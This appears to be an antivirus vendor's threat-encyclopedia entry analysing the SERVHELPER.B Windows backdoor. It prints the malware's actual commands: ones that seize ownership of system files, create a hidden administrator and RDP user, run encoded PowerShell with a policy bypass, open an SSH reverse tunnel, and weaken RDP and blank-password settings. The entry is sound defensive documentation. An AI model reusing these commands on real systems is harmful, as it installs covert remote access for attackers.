Backdoor.Win64.SERVHELPER.B

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It executes commands from a remote malicious user, effectively compromising the affected system.

Arrival Details

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Backdoor adds the following processes:

• reg import %User Temp%\rpds.reg
• If %System%\rfxvmt.dll is not present:
  • takeown.exe /A /F rfxvmt.dll
  • icacls.exe rfxvmt.dll /inheritance:d
  • icacls.exe rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
  • icacls.exe rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
  • icacls.exe rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
  • icacls.exe rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
  • icacls.exe rfxvmt.dll /remove "BUILTIN\Administrators"
  • icacls.exe rfxvmt.dll /grant "BUILTIN\Administrators:RX"
• cmd /C net.exe user {Malware created user} {Malware created password} /del
• cmd /C net.exe user {Malware created user} {Malware created password} /add
• cmd /C net.exe user {Malware created user} {Malware created password}
• cmd /C net.exe LOCALGROUP \"Remote Desktop Users\" {Malware created user} /ADD
• cmd /C net.exe LOCALGROUP \"Remote Desktop Users\" {Username} /ADD
• cmd /C net.exe LOCALGROUP \"Administrators\" {Malware created user} /ADD
• cmd.exe /C wmic path win32_VideoController get name
• cmd.exe /C wmic CPU get NAME
• cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc {Base64-encoded command}"
• "%User Temp%\service1.exe" -N -R :localhost:7201 tunnel@ -o \"StrictHostKeyChecking=no\" -o \"ExitOnForwardFailure=yes\" -o \"ServerAliveInterval=5\" -o \"ServerAliveCountMax=1\"
• powershell.exe -eP BypASS -F %User Temp%\Ready.ps1

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Autostart Technique

This Backdoor starts the following services:

• rdpdr
• If "termservice" does not exist:
  • Service Name: termservice
  • Binary Pathname: %System%\svchost.exe -k -networkservice

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Backdoor deletes the following files:

• %Temp%\ex.tmp
• .ps1 files in %Temp%
• .zip files in %Temp%
• .exe files in %Temp%
• .txt files in %Temp%

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\TermService\Parameters
ServiceDLL = %Windows%\branding\mediasrv.png

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows NT\Terminal Services
fEnableWddmDriver = 0

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server\Licensing Core
EnableConcurrentSessions = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
AllowMultipleTSSessions = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon\
SpecialAccounts\UserList
wgautilacc = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows NT\Terminal Services
fAllowToGetHelp = 1

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Terminal Server\WinStations\
RDP-Tcp
PortNumber = 7201

(Note: The default value data of the said registry entry is 3389.)

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = 0

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Terminal Server
FSingleSessionPerUser = 1

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Control\Lsa
LimitBlankPasswordUse = 0

Propagation

This Backdoor does not have any propagation routine.

Backdoor Routine

This Backdoor executes the following commands from a remote malicious user:

• Add additional persistence
• Download files
• Execute arbitrary command
• Get cookies or credentials from browsers
• Hijack an account
• Manage keyloggers (add, edit, delete)
• Setup RDP configuration
• Setup tunnel
• Sleep
• Steal information
• Terminate processes
• Update added user
• Update malware

It connects to the following URL(s) to send and receive commands from a remote malicious user:

• https://{BLOCKED}jjigrinnsj.xyz/ipa/b.php
• http://{BLOCKED}u.xyz/khkhkt (Backup C2)

Rootkit Capabilities

This Backdoor does not have rootkit capabilities.

Dropping Routine

This Backdoor drops the following files:

• %User Temp%\Ready.ps1 → used to run Get-Content.ps1, detected as Backdoor.PS1.SERVHELPER.B
• %User Temp%\logo.jpg
• %Windows%\branding\mediasvc.png
  • for x32 OS, detected as Backdoor.Win32.SERVHELPER.B
  • for x64 OS, detected as Backdoor.Win64.SERVHELPER.B
• %Windows%\branding\mediasrv.png → used to load %Windows%\branding\mediasvc.png
  • for x32 OS, detected as Backdoor.Win32.SERVHELPER.B
  • for x64 OS, detected as Backdoor.Win64.SERVHELPER.B
• %Windows%\branding\wupsvc.jpg
• %User Temp%\rpds.reg → registry to import
• %Temp%\usrnm.txt → contains current username
• If %System%\rdpclip.exe is not present:
  • %System%\rdpclip.exe → normal file
• If %System%\rfxvmt.dll is not present:
  • %System%\rfxvmt.dll → normal file
• %User Temp%\start.vbs → used to execute ready.ps1
• %User Temp%\{Random characters} → used to store malware configuration and stolen information
• %User Temp%\service1.exe → renamed ssh.exe used to open an SSH tunnel
• %User Temp%\Get-Content.ps1 → detected as Backdoor.PS1.SERVHELPER.B

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Download Routine

This Backdoor accesses the following websites to download files:

• https://raw.{BLOCKED}tent.com/sqlitey/sqlite/master/speed.ps1 → used to check internet speed
• http://{BLOCKED}e.xyz/ssh.zip → used to download backup ssh.exe

Information Theft

Upon execution of the affected application, it gathers the following information:

• OS information
• OS architecture
• Username
• Computer name

Other Details

This Backdoor does the following:

• It temporarily allows execution of scripts the following directories:
  • %Windows%\branding\*
  • %System Root%\users\{BLOCKED}cc\desktop\*
  • %System Root%\users\{BLOCKED}rs\desktop\*
• If Windows is Windows 96 or Windows 10:
  • Adds the following registry entries:
    • HKEY_CURRENT_USER\Environment
      • windir = "wscript %User Temp%\start.vbs "
• Adds the following new users to the machine's local users:
  • {Name from the Win32_Group WMI class} that fits the following conditions:
    • Security Identifier (SID) must be "S-1-5-32-544"
    • Windows domain must be equal to {User Name}

It does not exploit any vulnerability.